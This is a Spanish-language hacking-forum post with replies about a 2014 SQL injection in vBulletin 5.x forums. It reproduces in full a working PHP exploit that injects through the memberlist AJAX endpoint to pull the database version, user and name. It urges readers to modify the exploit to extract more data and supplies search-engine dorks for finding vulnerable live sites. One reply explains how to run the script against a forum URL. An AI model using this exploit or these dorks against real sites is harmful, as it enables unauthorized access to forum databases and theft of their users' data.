(http://1.bp.blogspot.com/-mOnlRbDtDKQ/U83YMy9bDbI/AAAAAAAACW0/kTyrdPduChM/s1600/vBulletin+SQLi.png) (http://1.bp.blogspot.com/-mOnlRbDtDKQ/U83YMy9bDbI/AAAAAAAACW0/kTyrdPduChM/s1600/vBulletin+SQLi.png"%20imageanchor=1)
Hace unos días se supo de una Inyección SQL en el gestor de foros vBulletin (http://unaaldia.hispasec.com/2014/07/inyeccion-sql-en-el-gestor-de-foros.html), pero como siempre primero me gusta verificar y recién hoy se ha publicado en
PacketStorm una versión pública ya que en 1337day Inj3ct0r (http://1337day.com/exploits/22452) ya se encontraba pero para acceder a él hay que pagar...
vBulletin es un software
desarrollado por vBulletin Solutions, para la creación y mantenimiento de foros
en Internet. Está basado en PHP y MySQL y según la propia compañía más de
100.000 sitios funcionan bajo este sistema.
Según confirma vBulletin, el
problema afecta a las
versiones 5.0.4, 5.0.5, 5.1.0, 5.1.1 y 5.1.2. El grupo
Romanian Security Team (RST) ha publicado un vídeo en el que se muestra la
vulnerabilidad y confirma el reporte a vBulletin, que ofrecerán todos los
detalles tras la publicación del parche.
La vulnerabilidad permite a un usuario malicioso realizar ataques de
inyección
SQL sobre la base de datos, con todas las implicaciones que ello puedo
llevar. Es decir,
extraer toda la
información y contenido de la base de datos, e incluso a partir de ahí
comprometer todo el sistema.
El exploit que se ha publicado nos permite obtener la
versión,
nombre y
usuario de la base de datos, para obtener datos más jugosos debéis modificar el exploit:
(http://4.bp.blogspot.com/-t0BPxkA5h-c/U83Yb0TeTaI/AAAAAAAACW8/h4ZUhYkfWjQ/s1600/sqli+vBulletin.bmp) (http://4.bp.blogspot.com/-t0BPxkA5h-c/U83Yb0TeTaI/AAAAAAAACW8/h4ZUhYkfWjQ/s1600/sqli+vBulletin.bmp"%20imageanchor=1)
<?php
/*
Author: Nytro
Powered by: Romanian Security Team
Price: Free. Educational.
*/
error_reporting(E_ALL);
ini_set('display_errors', 1);
// Get arguments
$target_url = isset($argv[1]) ? $argv[1] : 'https://rstforums.com/v5';
$expression = str_replace('/', '\\/', $target_url);
// Function to send a POST request
function httpPost($url,$params)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Referer: https://rstforums.com/v5/memberlist',
'Accept-Language: en-US,en;q=0.5',
'Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;'
));
$output = curl_exec($ch);
if($output == FALSE) print htmlspecialchars(curl_error($ch));
curl_close($ch);
return $output;
}
// Function to get string between two other strings
function get_string_between($string, $start, $end)
{
$string = " ".$string;
$ini = strpos($string,$start);
if ($ini == 0) return "";
$ini += strlen($start);
$len = strpos($string,$end,$ini) - $ini;
return substr($string,$ini,$len);
}
// Get version
print "\r\nRomanian Security Team - vBulltin 5.1.2 SQL Injection\r\n\r\n";
print "Version: ";
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(),1 ,1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
$letter = 1;
while(strpos($result, 'No Users Matched Your Query') == false)
{
$exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
$username = get_string_between($exploded[1], '">', '<\/a>');
print $username[0];
$letter++;
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version( ),' . $letter . ',1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
// Get user
print "\r\nUser: ";
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),1 ,1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
$letter = 1;
while(strpos($result, 'No Users Matched Your Query') == false)
{
$exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
$username = get_string_between($exploded[1], '">', '<\/a>');
print $username[0];
$letter++;
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),' . $letter . ',1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
// Get database
print "\r\nDatabse: ";
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(), 1,1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
$letter = 1;
while(strpos($result, 'No Users Matched Your Query') == false)
{
$exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
$username = get_string_between($exploded[1], '">', '<\/a>');
print $username[0];
$letter++;
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(), ' . $letter . ',1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
print "\r\n"
?>
Descargar Exploit vBulletin (http://packetstormsecurity.com/files/download/127537/vbulletin512-sql.txt)
Google ya ha bloqueado una posible busqueda del dork necesario para buscar sitios afectados, por ejemplo:
"Powered by vBulletin® Version 5.1.2"
"Powered by vBulletin® Version 5.0.4"
"Powered by vBulletin® Version 5.0.5"
"Powered by vBulletin® Version 5.1.0"
"Powered by vBulletin® Version 5.1.1"
Pero si buscan con Bing (http://www.bing.com/search?q=%22Powered+by+vBulletin%C2%AE+Version+5.1.2%22&go=&qs=ds&form=QBLH&filt=all) encontrarán resultados.
Fuentes:http://unaaldia.hispasec.com/2014/07/inyeccion-sql-en-el-gestor-de-foros.html
http://packetstormsecurity.com/files/127537/vBulletin-5.1.2-SQL-Injection.html
http://1337day.com/exploits/22452
http://www.blackploit.com
Fuente Original: Blackploit
Esto lo vi temprano y en un PoC local funciono perfecto!!.
Y la fuente? creo que esto anda en Blackploit?
PD: Solo digo aparte de traductor ahora mal posteador U_u vamos de mal en peor, ahi te corregi ;)
Regards,
Snifer
Nup, porque al final decia fuentes tal cual el post original, debes de poner lo que corresponde al cesar lo que es del cesar ;)
Regards,
Snifer
hermanoo.. tengo añooos sin compilar o interpretar un exploit. para usar este necesito bajarme bamcompiler ? ya que desde cmd no reconoce el comando "php" o que tengo que hacer ?
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
hermanoo.. tengo añooos sin compilar o interpretar un exploit. para usar este necesito bajarme bamcompiler ? ya que desde cmd no reconoce el comando "php" o que tengo que hacer ?
Nope, descarga la última versión de PHP, y luego ejecuta el script así:
C:\PATH_A_PHP\php.exe nombre_del_script.php url_del_foro